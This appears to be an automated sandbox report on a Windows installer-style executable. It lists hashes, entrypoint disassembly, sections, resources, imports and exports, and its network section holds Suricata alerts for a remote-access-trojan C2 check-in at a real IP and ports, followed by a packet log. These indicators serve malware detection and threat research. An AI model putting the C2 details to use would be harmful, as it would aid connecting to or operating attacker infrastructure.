Thumbprint SHA-256:	637C86766A7FB03A8AF3B6D18E2F1183594BD60A75AFC1C36BA9AF46CE2A5A36
Serial:	7D467C5AC99420F6A7E2A89ED61472B4

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
push ebx
push esi
push edi
mov eax, 006BABB4h
call 00007F976059AEA2h
mov eax, dword ptr [006CFF3Ch]
mov eax, dword ptr [eax]
mov eax, dword ptr [eax+00000188h]
push FFFFFFECh
push eax
call 00007F976059F23Dh
mov edx, dword ptr [006CFF3Ch]
mov edx, dword ptr [edx]
mov edx, dword ptr [edx+00000188h]
and eax, FFFFFF7Fh
push eax
push FFFFFFECh
push edx
call 00007F976059F229h
xor eax, eax
push ebp
push 006C66F9h
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
push 00000001h
call 00007F976059E584h
call 00007F9760844BCBh
mov eax, dword ptr [006BA7DCh]
push eax
push 006BA874h
mov eax, dword ptr [006CFF3Ch]
mov eax, dword ptr [eax]
call 00007F97607429F0h
mov eax, 006B5454h
mov edx, dword ptr [006CFDB4h]
mov dword ptr [edx], eax
call 00007F9760844C12h
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword ptr fs:[eax], edx
jmp 00007F976085098Bh
jmp 00007F97605937A7h
call 00007F976084495Ah
mov eax, 00000001h
call 00007F9760594290h
call 00007F9760593BEBh
mov eax, dword ptr [006CFF3Ch]
mov eax, dword ptr [eax]
mov edx, 006C688Ch
call 00007F97607424BAh
push 00000005h
mov eax, dword ptr [006CFF3Ch]
mov eax, dword ptr [eax]
mov eax, dword ptr [eax+00000188h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x2de000	0x97	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2d9000	0x39ba	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2e1000	0x3ad00	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x30dc00	0x2d68	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x2e0000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2d99f0	0x8c4	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x2dd000	0xbde	.didata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2c20c8	0x2c2200	2022b8d5817cc1a013b6f7be724426be	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0x2c4000	0x2898	0x2a00	14817d9596460398ce8a10ec41885658	False	0.5013950892857143	data	6.097600196485659	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x2c7000	0x9258	0x9400	b6c68a9cc08d787f829bebe13beeebce	False	0.576198268581081	data	6.2228077637398	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0x2d1000	0x790c	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2d9000	0x39ba	0x3a00	1c7fac207b7708f2d38f3eced48727dc	False	0.3355334051724138	data	5.289106478125697	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didata	0x2dd000	0xbde	0xc00	022cbd8e7ebbfb3df44dfd43f92fa718	False	0.3512369791666667	data	4.391276161587863	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0x2de000	0x97	0x200	29372b5d9fa8b5b431a37756aee4c5b7	False	0.25	data	1.8458344781090077	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0x2df000	0x4c	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x2e0000	0x5d	0x200	0e147eb88402eb8a56f168b457309291	False	0.189453125	data	1.3507743158343073	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x2e1000	0x3ad00	0x3ae00	32a06d163194b2d3bf155f7a452b4065	False	0.46382779325902335	data	6.14802530245256	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x2e2320	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0x2e2454	0x134	data	English	United States	0.4642857142857143
RT_CURSOR	0x2e2588	0x134	data	English	United States	0.4805194805194805
RT_CURSOR	0x2e26bc	0x134	data	English	United States	0.38311688311688313
RT_CURSOR	0x2e27f0	0x134	data	English	United States	0.36038961038961037
RT_CURSOR	0x2e2924	0x134	data	English	United States	0.4090909090909091
RT_CURSOR	0x2e2a58	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4967532467532468
RT_ICON	0x2e2b8c	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.04227680680207841
RT_ICON	0x2e6db4	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.07157676348547717
RT_ICON	0x2e935c	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.08794559099437148
RT_ICON	0x2ea404	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.11891828058573453
RT_ICON	0x2ee62c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.1578838174273859
RT_ICON	0x2f0bd4	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.010333018422295701
RT_ICON	0x2f4dfc	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.026763485477178422
RT_ICON	0x2f73a4	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.02626641651031895
RT_ICON	0x2f844c	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.15806754221388367
RT_ICON	0x2f94f4	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.27172131147540984
RT_ICON	0x2f9e7c	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.350177304964539
RT_ICON	0x2fa2e4	0x217	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced	English	United States	1.0205607476635514
RT_ICON	0x2fa4fc	0x2ff	PNG image data, 20 x 20, 8-bit/color RGBA, non-interlaced	English	United States	1.014341590612777
RT_ICON	0x2fa7fc	0x35c	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced	English	United States	1.0127906976744185
RT_ICON	0x2fab58	0x4ca	PNG image data, 28 x 28, 8-bit/color RGBA, non-interlaced	English	United States	1.0089722675367048
RT_ICON	0x2fb024	0x3fa	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced	English	United States	1.0108055009823183
RT_ICON	0x2fb420	0x577	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced	English	United States	1.0078627591136526
RT_ICON	0x2fb998	0x5f8	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced	English	United States	1.007198952879581
RT_ICON	0x2fbf90	0x99c	PNG image data, 56 x 56, 8-bit/color RGBA, non-interlaced	English	United States	1.004471544715447
RT_ICON	0x2fc92c	0xaf8	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.003917378917379
RT_ICON	0x2fd424	0x75e	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced	English	United States	1.0058324496288442
RT_ICON	0x2fdb84	0xaf3	PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced	English	United States	1.0039243667499107
RT_ICON	0x2fe678	0xb2d	PNG image data, 80 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.0038448095071653
RT_ICON	0x2ff1a8	0xd9f	PNG image data, 84 x 84, 8-bit/color RGBA, non-interlaced	English	United States	1.003154574132492
RT_ICON	0x2fff48	0xdc6	PNG image data, 96 x 96, 8-bit/color RGBA, non-interlaced	English	United States	1.0031196823596142
RT_ICON	0x300d10	0x12ca	PNG image data, 112 x 112, 8-bit/color RGBA, non-interlaced	English	United States	1.0022869022869023
RT_ICON	0x301fdc	0xd03	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced	English	United States	1.0033023116181328
RT_ICON	0x302ce0	0x152c	PNG image data, 144 x 144, 8-bit/color RGBA, non-interlaced	English	United States	1.002029520295203
RT_ICON	0x30420c	0x16b5	PNG image data, 160 x 160, 8-bit/color RGBA, non-interlaced	English	United States	1.0006881128505074
RT_ICON	0x3058c4	0x1d96	PNG image data, 168 x 168, 8-bit/color RGBA, non-interlaced	English	United States	1.0
RT_ICON	0x30765c	0x1a2a	PNG image data, 192 x 192, 8-bit/color RGBA, non-interlaced	English	United States	0.9905942072260376
RT_ICON	0x309088	0x2a22	PNG image data, 216 x 216, 8-bit/color RGBA, non-interlaced	English	United States	0.998887446690154
RT_ICON	0x30baac	0x2c53	PNG image data, 240 x 240, 8-bit/color RGBA, non-interlaced	English	United States	0.9956816779765577
RT_ICON	0x30e700	0x191c	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.972775357809583
RT_STRING	0x31001c	0x210	data			0.3125
RT_STRING	0x31022c	0x440	data			0.37683823529411764
RT_STRING	0x31066c	0x2b4	data			0.45809248554913296
RT_STRING	0x310920	0x214	data			0.4605263157894737
RT_STRING	0x310b34	0x3e4	data			0.3885542168674699
RT_STRING	0x310f18	0x3a0	data			0.4191810344827586
RT_STRING	0x3112b8	0x1ec	data			0.5609756097560976
RT_STRING	0x3114a4	0xcc	data			0.6666666666666666
RT_STRING	0x311570	0x294	data			0.4681818181818182
RT_STRING	0x311804	0x3e8	data			0.372
RT_STRING	0x311bec	0x488	data			0.41293103448275864
RT_STRING	0x312074	0x418	data			0.28435114503816794
RT_STRING	0x31248c	0x370	data			0.4147727272727273
RT_STRING	0x3127fc	0x39c	data			0.41233766233766234
RT_STRING	0x312b98	0x4a4	data			0.382996632996633
RT_STRING	0x31303c	0x384	data			0.37333333333333335
RT_STRING	0x3133c0	0x454	data			0.3935018050541516
RT_STRING	0x313814	0x210	data			0.39015151515151514
RT_STRING	0x313a24	0xbc	data			0.6542553191489362
RT_STRING	0x313ae0	0x100	data			0.62890625
RT_STRING	0x313be0	0x338	data			0.4223300970873786
RT_STRING	0x313f18	0x3f0	data			0.34226190476190477
RT_STRING	0x314308	0x314	data			0.38578680203045684
RT_STRING	0x31461c	0x2f8	data			0.38026315789473686
RT_RCDATA	0x314914	0x10	data			1.5
RT_RCDATA	0x314924	0x1800	PE32+ executable (console) x86-64, for MS Windows	English	United States	0.3924153645833333
RT_RCDATA	0x316124	0xb70	data			0.5358606557377049
RT_RCDATA	0x316c94	0x147	Delphi compiled form 'TMainForm'			0.746177370030581
RT_RCDATA	0x316ddc	0x480	Delphi compiled form 'TNewDiskForm'			0.5052083333333334
RT_RCDATA	0x31725c	0x400	Delphi compiled form 'TSelectFolderForm'			0.5087890625
RT_RCDATA	0x31765c	0x4b5	Delphi compiled form 'TSelectLanguageForm'			0.5004149377593361
RT_RCDATA	0x317b14	0x7e3	Delphi compiled form 'TUninstallProgressForm'			0.40713224368499257
RT_RCDATA	0x3182f8	0x55c	Delphi compiled form 'TUninstSharedFileForm'			0.41690962099125367
RT_RCDATA	0x318854	0x2ac9	Delphi compiled form 'TWizardForm'			0.19811923673879303
RT_GROUP_CURSOR	0x31b320	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x31b334	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x31b348	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x31b35c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x31b370	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x31b384	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x31b398	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x31b3ac	0x148	data	English	United States	0.6524390243902439
RT_GROUP_ICON	0x31b4f4	0x30	data	English	United States	0.9375
RT_GROUP_ICON	0x31b524	0x22	data	English	United States	1.0588235294117647
RT_GROUP_ICON	0x31b548	0x30	data	English	United States	0.9375
RT_GROUP_ICON	0x31b578	0x30	data	English	United States	0.9583333333333334
RT_VERSION	0x31b5a8	0x514	data	English	United States	0.3007692307692308
RT_MANIFEST	0x31babc	0x244	XML 1.0 document, ASCII text, with CRLF line terminators	Chinese	China	0.453448275862069

Imports

DLL	Import
mpr.dll	WNetEnumResourceW, WNetGetUniversalNameW, WNetGetConnectionW, WNetCloseEnum, WNetOpenEnumW
comdlg32.dll	GetSaveFileNameW, GetOpenFileNameW
comctl32.dll	FlatSB_SetScrollInfo, InitCommonControls, ImageList_DragMove, ImageList_Destroy, _TrackMouseEvent, ImageList_DragShowNolock, ImageList_Add, FlatSB_SetScrollProp, ImageList_GetDragImage, ImageList_Create, ImageList_EndDrag, ImageList_DrawEx, ImageList_SetImageCount, FlatSB_GetScrollPos, FlatSB_SetScrollPos, InitializeFlatSB, FlatSB_GetScrollInfo, ImageList_Write, ImageList_SetBkColor, ImageList_GetBkColor, ImageList_BeginDrag, ImageList_GetIcon, ImageList_GetImageCount, ImageList_DragEnter, ImageList_GetIconSize, ImageList_SetIconSize, ImageList_Read, ImageList_DragLeave, ImageList_Draw, ImageList_Remove
shell32.dll	SHBrowseForFolderW, SHGetMalloc, SHGetFileInfoW, SHChangeNotify, Shell_NotifyIconW, ShellExecuteW, SHGetPathFromIDListW, ShellExecuteExW
user32.dll	CopyImage, CreateWindowExW, GetMenuItemInfoW, SetMenuItemInfoW, DefFrameProcW, GetDCEx, GetMessageW, PeekMessageW, MonitorFromWindow, GetDlgCtrlID, ScrollWindowEx, SetTimer, WindowFromPoint, BeginPaint, RegisterClipboardFormatW, FrameRect, MapVirtualKeyW, OffsetRect, IsWindowUnicode, RegisterWindowMessageW, FillRect, GetMenuStringW, DispatchMessageW, SendMessageA, DefMDIChildProcW, EnumWindows, GetClassInfoW, GetSystemMenu, WaitForInputIdle, ShowOwnedPopups, GetScrollRange, GetScrollPos, SetScrollPos, GetActiveWindow, SetActiveWindow, DrawEdge, InflateRect, GetKeyboardLayoutList, OemToCharBuffA, LoadBitmapW, DrawFocusRect, EnumChildWindows, GetScrollBarInfo, SendNotifyMessageW, ReleaseCapture, UnhookWindowsHookEx, LoadCursorW, GetCapture, SetCapture, CreatePopupMenu, ScrollWindow, ShowCaret, GetMenuItemID, GetLastActivePopup, CharLowerBuffW, GetSystemMetrics, SetWindowLongW, PostMessageW, DrawMenuBar, SetParent, IsZoomed, CharUpperBuffW, GetClientRect, IsChild, ClientToScreen, SetWindowPlacement, IsIconic, CallNextHookEx, GetMonitorInfoW, ShowWindow, CheckMenuItem, CharUpperW, DefWindowProcW, GetForegroundWindow, SetForegroundWindow, GetWindowTextW, EnableWindow, DestroyWindow, IsDialogMessageW, EndMenu, RegisterClassW, CharNextW, GetWindowThreadProcessId, RedrawWindow, GetDC, GetFocus, SetFocus, EndPaint, ExitWindowsEx, ReleaseDC, MsgWaitForMultipleObjectsEx, LoadKeyboardLayoutW, GetClassLongW, ActivateKeyboardLayout, GetParent, CharToOemBuffA, DrawTextW, SetScrollRange, InsertMenuItemW, PeekMessageA, GetPropW, SetClassLongW, MessageBoxW, MessageBeep, SetPropW, SetRectEmpty, UpdateWindow, RemovePropW, GetSubMenu, MsgWaitForMultipleObjects, DestroyMenu, DestroyIcon, SetWindowsHookExW, IsWindowVisible, DispatchMessageA, UnregisterClassW, GetTopWindow, SendMessageW, AdjustWindowRectEx, DrawIcon, IsWindow, EnumThreadWindows, InvalidateRect, GetKeyboardState, DrawFrameControl, ScreenToClient, SendMessageTimeoutW, BringWindowToTop, SetCursor, CreateIcon, CreateMenu, LoadStringW, CharLowerW, SetWindowPos, SetWindowRgn, GetMenuItemCount, RemoveMenu, AppendMenuW, GetSysColorBrush, GetKeyboardLayoutNameW, GetWindowDC, TranslateMessage, DrawTextExW, MapWindowPoints, EnumDisplayMonitors, CallWindowProcW, DestroyCursor, ReplyMessage, GetScrollInfo, SetWindowTextW, GetMessageExtraInfo, EnableScrollBar, GetSysColor, TrackPopupMenu, DrawIconEx, PostQuitMessage, GetClassNameW, ShowScrollBar, EnableMenuItem, GetIconInfo, GetMessagePos, LoadImageW, SetScrollInfo, GetKeyNameTextW, GetDesktopWindow, GetCursorPos, SetCursorPos, HideCaret, GetMenu, GetMenuState, SetMenu, SetRect, GetKeyState, FindWindowExW, MonitorFromPoint, SystemParametersInfoW, LoadIconW, GetCursor, GetWindow, GetWindowLongW, GetWindowRect, InsertMenuW, KillTimer, WaitMessage, IsWindowEnabled, IsDialogMessageA, TranslateMDISysAccel, GetWindowPlacement, FindWindowW, DeleteMenu, GetKeyboardLayout
version.dll	GetFileVersionInfoSizeW, VerQueryValueW, GetFileVersionInfoW
oleaut32.dll	SafeArrayPutElement, LoadTypeLib, GetErrorInfo, VariantInit, VariantClear, SysFreeString, SysReAllocStringLen, SafeArrayCreate, SafeArrayGetElement, GetActiveObject, SysAllocStringLen, SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, VariantCopy, RegisterTypeLib, VariantChangeType, VariantCopyInd
advapi32.dll	RegSetValueExW, ConvertStringSecurityDescriptorToSecurityDescriptorW, OpenThreadToken, GetUserNameW, RegQueryInfoKeyW, EqualSid, GetTokenInformation, RegCreateKeyExW, SetSecurityDescriptorDacl, RegEnumKeyExW, AdjustTokenPrivileges, RegDeleteKeyW, LookupPrivilegeValueW, RegOpenKeyExW, OpenProcessToken, FreeSid, AllocateAndInitializeSid, RegDeleteValueW, RegFlushKey, RegEnumValueW, RegQueryValueExW, ConvertSidToStringSidW, RegCloseKey, InitializeSecurityDescriptor
netapi32.dll	NetWkstaGetInfo, NetApiBufferFree
msvcrt.dll	memcpy
winhttp.dll	WinHttpGetIEProxyConfigForCurrentUser, WinHttpSetTimeouts, WinHttpSetStatusCallback, WinHttpConnect, WinHttpReceiveResponse, WinHttpQueryAuthSchemes, WinHttpGetProxyForUrl, WinHttpReadData, WinHttpCloseHandle, WinHttpQueryHeaders, WinHttpOpenRequest, WinHttpAddRequestHeaders, WinHttpOpen, WinHttpWriteData, WinHttpSetCredentials, WinHttpQueryDataAvailable, WinHttpSetOption, WinHttpSendRequest, WinHttpQueryOption
kernel32.dll	SetFileAttributesW, SetFileTime, GetACP, GetExitCodeProcess, IsBadWritePtr, CloseHandle, LocalFree, GetCurrentProcessId, SizeofResource, VirtualProtect, TerminateThread, QueryPerformanceFrequency, IsDebuggerPresent, FindNextFileW, GetFullPathNameW, VirtualFree, HeapAlloc, ExitProcess, WriteProfileStringW, GetCPInfoExW, RtlUnwind, GetCPInfo, GetStdHandle, GetTimeZoneInformation, FileTimeToLocalFileTime, GetModuleHandleW, FreeLibrary, HeapDestroy, CompareFileTime, ReadFile, CreateProcessW, TransactNamedPipe, GetLastError, GetModuleFileNameW, SetLastError, FindResourceW, OpenMutexW, CreateThread, CompareStringW, CopyFileW, CreateMutexW, LoadLibraryA, ResetEvent, MulDiv, FreeResource, GetDriveTypeW, GetVersion, RaiseException, MoveFileW, GlobalAddAtomW, GetSystemTimeAsFileTime, FormatMessageW, OpenProcess, SwitchToThread, GetExitCodeThread, OutputDebugStringW, GetCurrentThread, GetLogicalDrives, LocalFileTimeToFileTime, SetNamedPipeHandleState, LoadLibraryExW, TerminateProcess, LockResource, FileTimeToSystemTime, GetShortPathNameW, GetCurrentThreadId, UnhandledExceptionFilter, MoveFileExW, GlobalFindAtomW, VirtualQuery, GlobalFree, VirtualQueryEx, Sleep, EnterCriticalSection, SetFilePointer, ReleaseMutex, FlushFileBuffers, LoadResource, SuspendThread, GetTickCount, WritePrivateProfileStringW, GetFileSize, GlobalDeleteAtom, GetStartupInfoW, GetFileAttributesW, GetCurrentDirectoryW, SetCurrentDirectoryW, InitializeCriticalSection, GetSystemWindowsDirectoryW, GetThreadPriority, GetCurrentProcess, SetThreadPriority, VirtualAlloc, GetSystemInfo, GetCommandLineW, LeaveCriticalSection, GetProcAddress, ResumeThread, GetVersionExW, VerifyVersionInfoW, HeapCreate, GetWindowsDirectoryW, DeviceIoControl, LCMapStringW, GetDiskFreeSpaceW, VerSetConditionMask, FindFirstFileW, GetUserDefaultUILanguage, lstrlenW, QueryPerformanceCounter, SetEndOfFile, lstrcmpW, HeapFree, WideCharToMultiByte, FindClose, MultiByteToWideChar, LoadLibraryW, SetEvent, CreateFileW, GetLocaleInfoW, GetSystemDirectoryW, DeleteFileW, GetEnvironmentVariableW, GetLocalTime, WaitForSingleObject, WriteFile, CreateNamedPipeW, ExitThread, DeleteCriticalSection, GetDateFormatW, TlsGetValue, SetErrorMode, GetComputerNameW, IsValidLocale, TlsSetValue, CreateDirectoryW, GetOverlappedResult, GetSystemDefaultUILanguage, EnumCalendarInfoW, GetProfileStringW, LocalAlloc, GetUserDefaultLangID, RemoveDirectoryW, IsDBCSLeadByte, CreateEventW, GetPrivateProfileStringW, WaitForMultipleObjectsEx, GetThreadLocale, SetThreadLocale
ole32.dll	StgCreateDocfileOnILockBytes, CoCreateInstance, CLSIDFromString, CoUninitialize, IsEqualGUID, OleInitialize, CoFreeUnusedLibraries, CreateILockBytesOnHGlobal, CLSIDFromProgID, OleUninitialize, CoDisconnectObject, CoInitialize, CoTaskMemFree, CoTaskMemAlloc, StringFromCLSID
gdi32.dll	Arc, Pie, SetBkMode, SelectPalette, CreateCompatibleBitmap, ExcludeClipRect, RectVisible, SetWindowOrgEx, MaskBlt, AngleArc, Chord, SetTextColor, StretchBlt, SetDIBits, SetViewportOrgEx, CreateRectRgn, RealizePalette, SetDIBColorTable, GetDIBColorTable, RoundRect, RestoreDC, SetRectRgn, GetTextMetricsW, RemoveFontResourceW, GetWindowOrgEx, CreatePalette, CreateBrushIndirect, PatBlt, LineDDA, PolyBezierTo, GetStockObject, CreateSolidBrush, Polygon, Rectangle, MoveToEx, DeleteDC, SaveDC, BitBlt, Ellipse, FrameRgn, GetDeviceCaps, GetBitmapBits, GetTextExtentPoint32W, GetClipBox, Polyline, IntersectClipRect, GetSystemPaletteEntries, CreateBitmap, AddFontResourceW, CreateDIBitmap, GetStretchBltMode, CreateDIBSection, CreatePenIndirect, SetStretchBltMode, GetDIBits, CreateFontIndirectW, PolyBezier, LineTo, GetRgnBox, EnumFontsW, CreateHalftonePalette, DeleteObject, SelectObject, ExtFloodFill, UnrealizeObject, SetBkColor, CreateCompatibleDC, GetObjectW, GetBrushOrgEx, GetCurrentPositionEx, SetROP2, GetTextExtentPointW, ExtTextOutW, SetBrushOrgEx, GetPixel, ArcTo, GdiFlush, SetPixel, EnumFontFamiliesExW, GetPaletteEntries

Exports

Name	Ordinal	Address
TMethodImplementationIntercept	3	0x4b5e78
__dbk_fcall_wrapper	2	0x410a7c
dbkFCallWrapperAddr	1	0x6d4640

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
Chinese	China

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-29T09:02:09.456478+0100	2052875	ET MALWARE Anonymous RAT CnC Checkin	1	192.168.2.4	49738	118.107.44.219	19091	TCP
2024-12-29T09:03:19.528655+0100	2052875	ET MALWARE Anonymous RAT CnC Checkin	1	192.168.2.4	49744	118.107.44.219	19091	TCP
2024-12-29T09:04:30.575700+0100	2052875	ET MALWARE Anonymous RAT CnC Checkin	1	192.168.2.4	49891	118.107.44.219	19092	TCP
2024-12-29T09:05:42.606786+0100	2052875	ET MALWARE Anonymous RAT CnC Checkin	1	192.168.2.4	50026	118.107.44.219	19091	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 29, 2024 09:01:55.013520002 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:55.133554935 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:55.133677006 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:56.483608961 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.483627081 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.483633041 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.483644009 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.483649969 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.483654976 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.483660936 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.483762026 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.483773947 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.483783960 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.483851910 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:56.483881950 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:56.603580952 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.603598118 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.603646994 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:56.693953037 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.694050074 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.694118023 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:56.698016882 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.698070049 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.698122025 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:56.706341028 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.706424952 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.706473112 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:56.714701891 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.714802980 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.714843988 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:56.723099947 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.723231077 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.723273039 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:56.731487989 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.731595993 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.731645107 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:56.739864111 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.739958048 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.740006924 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:56.748315096 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.748411894 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.748456001 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:56.756685019 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.756807089 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.756867886 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:56.765036106 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.765136003 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.765182972 CET	49733	8853	192.168.2.4	118.107.44.219
Dec 29, 2024 09:01:56.773477077 CET	8853	49733	118.107.44.219	192.168.2.4
Dec 29, 2024 09:01:56.773523092 CET	8853	49733	118.107.44.219	192.168.2.4
